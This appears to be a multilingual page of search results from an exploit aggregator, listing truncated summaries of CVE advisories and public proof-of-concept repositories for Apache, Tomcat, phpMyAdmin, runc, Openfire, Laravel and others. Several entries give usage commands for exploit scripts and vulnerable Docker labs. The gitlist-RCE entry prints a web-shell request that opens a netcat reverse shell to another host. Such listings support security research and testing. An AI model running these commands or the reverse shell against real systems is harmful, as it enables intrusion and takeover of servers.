511874 matches found
EUVD-2026-65616
A flaw was found in Emacs TRAMP. A local attacker could exploit this vulnerability by processing maliciously crafted filenames. This occurs because TRAMP concatenates login arguments without proper sanitization, which are then passed to a local shell. Successful exploitation could lead to arbitra...
CVE-2026-79992
CVE-2026-79992 affects Emacs TRAMP , where a local attacker can achieve arbitrary code execution by processing maliciously crafted filenames. The root cause is that TRAMP concatenates login arguments (derived from the user field) without proper sanitization before passing them to a local shell . ...
CVE-2021-21972
CVE-2021-21972 説明 vSphere Client（HTML5）には、vCenter Server プラグインにリモートコード実行の脆弱性があります。ポート443へのネットワークアクセスが可能な悪意のある攻撃者は、この問題を悪用して、vCenter Server をホストしている基盤オペレーティングシステム上で無制限の権限でコマンドを実行できます。これは、VMware vCenter Server（7.x で 7.0 U1c 未満、6.7 で 6.7 U3l 未満、6.5 で 6.5 U3n 未満）および VMware Cloud Foundation（4.x で 4.2...
CVE-2019-16113-Bludit-3.9.2-RCE
CVE-2019-16113 Bludit 3.9.2 원격 명령 실행 RCE...
CVE-2017-8759
エクスプロイトツールキット CVE-2017-8759 - v1.0 エクスプロイトツールキット CVE-2017-8759 - v1.0 は、ペンテスターやセキュリティ研究者が Microsoft .NET Framework RCE を迅速かつ効果的にテストするための便利な Python スクリプトです。複雑な設定なしに、悪意のある RTF ファイルを生成し、Metasploit / Meterpreter / その他のペイロードを被害者に配信できます。 免責事項 このプログラムは教育目的のみに使用してください。許可なく使用しないでください。通常の免責事項が適用されます。特に、私...
CVE-2022-29078
CVE-2022-29078 취약한 ejs 3.1.6 docker 설정 root@kitploit: git clone https://github.com/miko550/CVE-2022-29078.git cd CVE-2022-29078 docker build . -t miko/vuln-ejs docker run -p 49160:8080 -d --name vuln-ejs miko/vuln-ejs 사용법 root@kitploit: http://127.0.0.1:49160/ 익스플로잇 브라우저에서 root@kitploit:...
CVE-2016-5734-docker
CVE-2016-5734-docker PhpMyAdmin 4.0.x—4.6.2 원격 코드 실행 취약점 CVE-2016-5734 설정 root@kitploit: git clone https://github.com/miko550/CVE-2016-5734-docker.git cd CVE-2016-5734-docker docker compose up hhtp://localhost:8083 익스플로잇 root@kitploit: python3 cve-2016-5734.py -u root --pwd="root"...
cve-2019-5736-exp
cve-2019-5736-exp 이는 Docker에서 사용되는 런타임인 runc의 CVE-2019-5736 취약점에 대한 개념 증명PoC 익스플로잇입니다. 면책 조항 저는 이 프로젝트를 교육적 목적과 재미를 위해 연습 삼아 수행했습니다. 말할 필요도 없이, 이 코드의 비윤리적 및/또는 불법적 오용을 지지하지 않습니다. 설명 이 취약점은 Adam Iwaniuk와 Borys Popławski에 의해 발견되었으며 이 블로그 게시물에 설명되어 있습니다. 훌륭한 연구에 감사드립니다! 사용법 악성 컨테이너를 빌드하려면:...
CVE-2023-32315
CVE-2023-32315 Openfire 控制台身份验证绕过漏洞（含 RCE 插件） 设置 root@kitploit: git clone https://github.com/miko550/CVE-2023-32315.git cd CVE-2023-32315 pip3 install -r requirements.txt 使用方法 root@kitploit: python3 CVE-2023-32315.py -t http://127.0.0.1:9090 python3 CVE-2023-32315.py -l lists.txt 步骤 1. 运行漏洞利用程序 2...
IngressNightmare-PoC
Ingress NGINX 취약점 익스플로잇 - IngressNightmare 이 프로젝트는 Kubernetes의 Ingress NGINX Controller에서 발견된 인증되지 않은 원격 코드 실행RCE 취약점을 대상으로 하는 익스플로잇을 제공하며, 이 취약점들은 IngressNightmare로 통칭됩니다. 연구: Wiz 원본 연구에서 Wiz 팀은 PoC나 실제 익스플로잇을 제공하지 않았기 때문에, 우리는 자체적으로 제작하여 커뮤니티와 공유하기로 결정했습니다. 개요 Ingress NGINX Controller는 Kubernet...
CVE-2021-41773S
CVE-2021-41773 Apache 路径遍历漏洞的易受攻击 Docker 镜像 该漏洞 仅 适用于具有特定非默认配置的 2.4.49 版本。在某些情况下，这可能导致文件读取或代码执行。 https://twitter.com/ptswarm/status/1445376079548624899 可造成文件读取的漏洞配置 可直接从 Docker Hub 拉取容器 docker pull blueteamsteve/cve-2021-41773:no-cgid 并使用以下命令执行 docker run -dit -p 8080:80...
cve-2021-42013.get
Apache 2.4.50 - 경로 탐색 또는 원격 코드 실행 cve-2021-42013.py는 Apache 2.4.50에서 경로 탐색 또는 원격 코드 실행 취약점을 찾는 데 도움이 되는 파이썬 스크립트입니다. CVE-2021-42013에 대한 실습을 위해 취약한 Docker 인스턴스가 제공됩니다. CGI-BIN이 활성화된 경우, 원격 코드 실행은 가능하지만 경로 탐색은 불가능합니다. 따라서 httpd.conf의 Alias 섹션에 "icons" 디렉토리를 추가하여 경로 탐색 취약점을 확인할 수 있도록 했습니다. httpd.con...
cve-2021-42013
Apache 2.4.50 - 路径遍历或远程代码执行 cve-2021-42013.py 是一个 Python 脚本，可帮助发现 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。文中提供了易受攻击的 Docker 实例，供您动手实践 CVE-2021-42013 如果启用了 CGI-BIN，则可以执行远程代码执行，但无法进行路径遍历；因此，在 httpd.conf 的 Alias 部分中添加了“icons”目录，用于检查路径遍历漏洞。 httpd.conf 中的易受攻击配置 root@kitploit: 1. Enable CGI-BIN 2. Add "icons"...
CVE-2020-9484
CVE-2020-9484 Kali 2.0으로 Apache Tomcat Session 역직렬화 코드 실행 취약점 CVE-2020-9484 재현 환경： 1. Kali 2.0 2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz（webapp은 s2-053이고, 해당 lib에 commons-collections4-4.0.jar를 추가함） 시작 /yourtomcatdir/bin/startup.sh payload 생성 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar...
CVE-2021-41773-L-
CVE-2021-41773 🐛 Apache HTTP Server 2.4.49에서의 경로 탐색 및 파일 노출 취약점 Apache HTTP Server 2.4.49의 경로 정규화 변경에서 결함이 발견되었습니다. 공격자는 경로 탐색 공격을 사용하여 Alias와 같은 지시문으로 구성된 디렉터리 외부의 파일에 URL을 매핑할 수 있습니다. 이러한 디렉터리 외부의 파일이 일반적인 기본 구성인 "require all denied"로 보호되지 않으면 이러한 요청이 성공할 수 있습니다. 또한 이러한 별칭 경로에 CGI 스크립트가 활성화된 경우...
CVE-2019-16662
CVE-2019-16662 Официальный эксплойт для rConfig 3.9.2 удаленного выполнения кода CVE-2019-16662...
PocList
PocList 自作の脆弱性POCおよびEXP集。 POCスクリプトはURLファイルを指定すると、マルチスレッドで対象を一括スキャンして検証できます。EXPスクリプトはファイル読み取り、マルウェアアップロード、コマンド実行などの脆弱性を悪用できます。 開発環境：Python 3.7 👉2021-08-02 更新 更新内容は以下のとおりです。 1. UIを変更し、ロゴをプロジェクト名PocListに差し替え 2. 脆弱性情報の表示方法を変更 3. cmdウィンドウのカラー表示を追加。以前のバージョンではcmdウィンドウの色解析に誤りがありました。 4...
laravel-CVE-2021-3129-EXP
laravel-CVE-2021-3129-EXP CVE-2021-3129 원클릭 getshell 사용법 python3 laravel-CVE-2021-3129-EXP.py http://127.0.0.1:8000 성공한 후 Godzilla로 연결하면 됩니다...
gitlist-RCE
gitlist-RCE CVE-2014-4511 例: シェルアップロード成功後: アクセス: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...